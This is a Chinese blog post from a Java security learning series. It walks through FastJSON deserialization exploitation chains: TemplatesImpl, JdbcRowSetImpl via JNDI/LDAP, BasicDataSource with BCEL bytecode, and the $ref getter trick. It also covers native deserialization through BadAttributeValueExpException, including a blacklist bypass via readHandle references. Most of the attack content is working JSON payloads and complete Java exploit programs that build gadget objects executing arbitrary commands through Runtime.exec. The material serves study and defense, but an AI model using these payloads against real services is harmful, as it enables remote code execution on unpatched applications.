java漫漫学习之路(十)

FastJson

FastJSON 是一个高效的 JSON 处理库,主要用于 Java 语言。它由阿里巴巴集团开发和维护,旨在提供快速和高性能的Java Bean对象到 JSON 对象的序列化和反序列化功能。

序列化与反序列化

方法:

  • JSON.toJSONString:将对象序列化为 JSON 字符串。当需要进行复杂对象的反序列化,尤其是涉及多态对象(如继承关系中的子类和父类)时,JSON.toJSONString的参数SerializerFeature.WriteClassName可以在 JSON 输出中包含类的全限定名(fully qualified class name),例如 "@type": "com.example.Dog"。序列化对象时,会触发对象的setter方法。
  • JSON.parseObject:将 JSON 字符串反序列化为对象。在默认情况下,FastJSON 只处理公共字段(public fields)和通过公共 getter/setter 方法暴露的字段。当启用 Feature.SupportNonPublicField 时,FastJSON 还会处理非公共字段(包括 private protected 字段)。反序列化对象时,会触发目标类的gettersetter方法。
  • JSON.parse:将 JSON 字符串反序列化为一个Java对象,根据 JSON 字符串的内容,解析后的对象可能是 JSONObjectJSONArrayStringNumber 等具体类型。反序列化对象时,会触发目标类的setter方法以及某些满足特定条件的getter方法。
    • 函数名长度大于等于4
    • 非静态方法
    • get开头且第4个字母为大写
    • 无参数
    • 返回值类型继承自CollectionMapAtomicBooleanAtomicInteger

例:

import com.alibaba.fastjson.JSON;

public class FastJsonExample {
    public static void main(String[] args) {
        // 创建一个示例对象
        User user = new User();
        user.setId(1);
        user.setName("John Doe");
        // 将对象序列化为 JSON 字符串
        String jsonString = JSON.toJSONString(user);
        System.out.println("JSON String: " + jsonString);
        // 将 JSON 字符串反序列化为对象
        User deserializedUser = JSON.parseObject(jsonString, User.class);
        System.out.println("Deserialized User: " + deserializedUser.getName());
    }
}
class User {
    private int id;
    private String name;
    // getters and setters
    public int getId() {
        return id;
    }
    public void setId(int id) {
        this.id = id;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
}

其他结论:

  • JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class
  • JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 gettersetter 都被调用。
  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  • fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
  • fastjson 在为类属性寻找get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,假如字段名叫 _a_g_e_getter 方法为 getAge()fastjson 也可以找得到。
  • com.alibaba.fastjson.parser.ParserConfigFastJSON 库中用于配置和管理 JSON 解析过程的类,包含AutoType开关与黑名单。

FastJson-TemplatesImpl

FastJSON在使用parse()parseObject()方法时会调用对象的setter/getter方法,因此若能找到一个类、在反序列化这个类对象时,fastjson调用其settergetter方法,且settergetter方法存在漏洞,可以执行恶意代码。

提到getter方法利用就可以想到TemplatesImpl#getOutputProperties()(public),它在cc3链构造以及JMX#StandardMBean攻击中都利用到了,它的利用链为:

TemplatesImpl#getOutputProperties()(public) -> TemplatesImpl#newTransformer()(public) ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()(default)

关于具体TemplatesImpl如何加载字节码见《java漫漫学习之路(五)》。

由于更改的一些TemplatesImpl私有变量没有 setter 方法,需要JSON.parse()使用 Feature.SupportNonPublicField 参数(缺点)。

payload

{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["evilCode after Base64"],
"_name": "taco",
"_tfactory": {},
"_outputProperties": {},
}

恶意类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
        throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    public Evil() {
    }
}

恶意类字节码进行Base64编码:

import javassist.ClassPool;
import java.util.Base64;

public class getPayLoad {
    public static void main(String[] args) throws Exception {
        byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
        System.out.println(Base64.getEncoder().encodeToString(code));
    }
}

FastJson-JdbcRowSetImpl

JdbcRowSetImpl链是基于JNDI+RMIJDNI+LADP进行攻击(需要服务器出网(缺点)),会有一定的JDK版本限制:

  • RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

  • LADP利用JDK版本≤ 6u211 、7u201、8u191

com.sun.rowset.JdbcRowSetImpl#setAutoCommitsetter函数):

在这里插入图片描述
在这里插入图片描述

conn == null时,调用connect()函数,connect()中调用了InitialContext#lookup函数,这里结合JNDI+RMIJDNI+LADP进行攻击。

payload

{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:8099/evil",
"autoCommit":true
}

FastJSON-BasicDataSource

FastJson-TemplatesImpl利用链需要在调用parseObject()时额外设置 Feature.SupportNonPublicFieldFastJson-JdbcRowSetImpl需要出网,都有一定的限制。

FastJSON-BasicDataSource利用链则比较通用,不需要出网与额外设置参数,它利用了org.apache.tomcat.dbcp.dbcp.BasicDataSource类,它是 Apache Tomcat DBCPDatabase Connection Pooling)的一个实现类。这个Payload不需要反连,不要求特定的代码写法,直接传入恶意代码bytecode完成利用,而且依赖包tomcat-dbcp使用也比较广泛,是Tomcat的数据库驱动组件。

poc

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

这里反序列化生成了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象,并完成了命令执行。

利用链:

BasicDataSource.getConnection() > createDataSource() > createConnectionFactory()

protected ConnectionFactory createConnectionFactory() throws SQLException {
    ...
        if (driverClassLoader == null) {
            driverFromCCL = Class.forName(driverClassName);
        } else {
            driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
        }
    ...

BasicDataSource.createConnectionFactory() 中会调用 Class.forName(),还可以自定义ClassLoaderClass.forName()在动态加载类时,默认会进行初始化,所以这里在动态加载的过程中会执行 static 代码段(恶意代码)。

poc中将diverClassLoader设置为com.sun.org.apache.bcel.internal.util.ClassLoader,在BCEL介绍中提过,com.sun.org.apache.bcel.internal.util.ClassLoader重写了Java内置的ClassLoader#loadClass()方法,会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串按照BCEL编码格式进行decode作为Class的字节码,并调用 defineClass() 获取 Class 对象。也就是说恶意类字节码直接放在driverClassName出即可。

poc结构:

  1. 先是将{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……}这一整段放到JSON Value的位置上,之后在外面又套了一层 {}
  2. 之后又将 Payload 整个放到了JSON 字符串中 Key 的位置上。

因为FastJson中的JSON.parse()会识别并调用目标类的 setter 方法以及某些满足特定条件的 getter 方法,然而 getConnection() 并不符合特定条件,所以正常来说在 FastJson 反序列化的过程中并不会被调用。

因此巧妙的利用了 JSONObject对象的 toString() 方法JSONObjectMap的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的属性与字段,自然会执行相应的 getter is等方法。

首先,在 {“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},反序列化生成一个JSONObject对象。

然后,将这个JSONObject放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对JSON Key自动调用 toString() 方法,于是就触发了 BasicDataSource#getConnection()

如果调用的是 JSON.parseObject() parseObject() 会额外的将Java对象转为JSONObject对象,即调用 JSON.toJSON(),在处理过程中会调用所有的 setter getter 方法。所以对于 JSON.parseObject(),直接传入这样的Payload也能触发:

{
    "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    "driverClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "driverClassName": "$$BCEL$$$l$8b......"
}

fastjson>=1.2.36的时候,可以使用$ref方式调用getterreffastjson特有的JSONPath语法,用来引用之前出现的对象:

public class test {
    private String cmd;

    public void setCmd(String cmd) {
        System.out.println("seter call");
        this.cmd = cmd;
    }

    public String getCmd() throws IOException {
        System.out.println("geter call");
        Runtime.getRuntime().exec(cmd);
        return cmd;
    }
}
public class ref_fastjson {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "[{\"@type\":\"com.demo.fastjson.test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
        JSON.parse(payload);
    }
}

FastJson 的原生反序列化(一)

FastJSON中继承了Serializable接口的只有两个类JSONArrayJSONObject

下面分析JSONArray的利用方式(JSONObject利用方式相同):

JSONArray实现了Serializable接口但是它本身没有实现readObject方法的重载,并且继承的JSON类同样没readObject方法。那么只能通过其他类的readObject做中转来触发JSONArray或者JSON类当中的某个方法最终实现串链。

FastJSON-BasicDataSource链构造过程中,我们提到JSON.parse()只能触发满足特定条件的getter方法,所以构造poc时,通过{}嵌套,反序列化就会生成JSONObject对象,放置在key位置,进而调用到JSONObjectJSON类)的toString方法。而在Json类当中的toString方法能触发toJsonString的调用,会提取类中所有的属性与字段,进而触发getter方法。

也就是触发链为:toString->toJSONString->getter

使用BadAttributeValueExpException#readObject()触发toStringCC5

对于getter方法就使用老生常谈的TemplatesImpl#getOutputProperties()

完整利用链:BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> TemplatesImpl#getOutputProperties()

exp

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "mgg");
        setValue(templates, "_tfactory", null);


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

FastJson 的原生反序列化(二)

FastJSON从1.2.49开始,JSONArray以及JSONObject方法开始真正有了自己的readObject方法,当调用JSONArray/JSONObjectObject方法触发反序列化时,将这个反序列化过程委托给SecureObjectInputStream处理,而在其SecureObjectInputStream类当中重写了resolveClass,加入了autoType的黑名单机制,调用了checkAutoType方法做类的检查。

但是实际上这种不安全的ObjectInputStream委托给有黑名单过滤的SecureObjectInputStream的反序列化过程是不安全的,安全的反序列化过程应该实现一个继承了ObjectInputStream了并重写了resolveClass的类来进行反序列化。

ObjectInputStream#resolveClass 方法是 ObjectInputStream 类中的一个重要方法,它在对象反序列化过程中用于加载并验证反序列化过程中所读取的类描述符(class descriptor),并返回对应的 Class 对象。

由于在SecureObjectInputStream#resolveClass中有黑名单过滤,因此就要绕过resolveClass的触发。

当向Listsetmap这些涉及哈希表的类型中写入对象时,会在handles这个哈希表中建立从对象到引用的映射。当再次写入同一对象时,在handles这个hash表中将会查到这个映射,就会通过writeHandle将重复对象以引用类型(reference)写入。在ObjectInputStreamreference类型是由readHandle处理的。

Java中,readObject 方法和 readHandle 方法都是 ObjectInputStream 类中用于反序列化对象的方法

  • readObject 方法:

    • 当使用 readObject 方法时,ObjectInputStream 会读取序列化数据流,并将其转换为相应的对象。

    • readObject 方法会触发对象的反序列化过程,包括读取对象的数据并创建对象实例。

    • 在反序列化过程中,readObject 方法会处理对象的各种字段和属性,确保正确地恢复对象的状态。

  • readHandle 方法:readHandle 方法是 ObjectInputStream 类中用于处理对象替代句柄(object replacement handle)的方法。

    • 当序列化数据中存在对象替代句柄时,可以使用 readHandle 方法来恢复对应的实际对象。
    • readHandle 方法主要用于处理对象之间的引用关系,避免重复序列化相同的对象数据。
    • readObject 方法不同,readHandle 方法不会触发对象的完整反序列化过程,而是主要用于处理对象之间的引用关系。

readHandle 方法不会触发对象的完整反序列化过程,不会触发resolveClass方法。

结合低版本FastJSON原生反序列化,最后构造思路:

  • 1、先将恶意对象(TemplatesImpl)写入JSONArray中,设置BadAttributeValueExpExceptionval为这个JSONArray
  • 2、再将恶意对象(TemplatesImpl)写入HashMap中,将会在handles这个哈希表中建立一个映射;
  • 3、同时HashMap中写入 BadAttributeValueExpException对象,此时valJSONArray中的TemplatesImpl是第二次被写入,将会以reference类型被写入。

触发思路:

  • 1、反序列化时HashMap对象先通过readObject恢复TemplatesImpl对象,然后恢复BadAttributeValueExpException对象;
  • 2、在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObjectreadObject方法;
  • 3、JSONArray/JSONObjectreadObject中,会委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,这个对象是以reference类型存在的,此时会使用readHandle处理,而readHandle 方法不会触发对象的完整反序列化过程,不会触发resolveClass方法。

exp

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class Y4HackJSON {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] genPayload(String cmd) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});
        setValue(templates, "_name", "1");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);
        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd,"val",jsonArray);
        HashMap hashMap = new HashMap();
        hashMap.put(templates,bd);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();
    }
}

参考:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值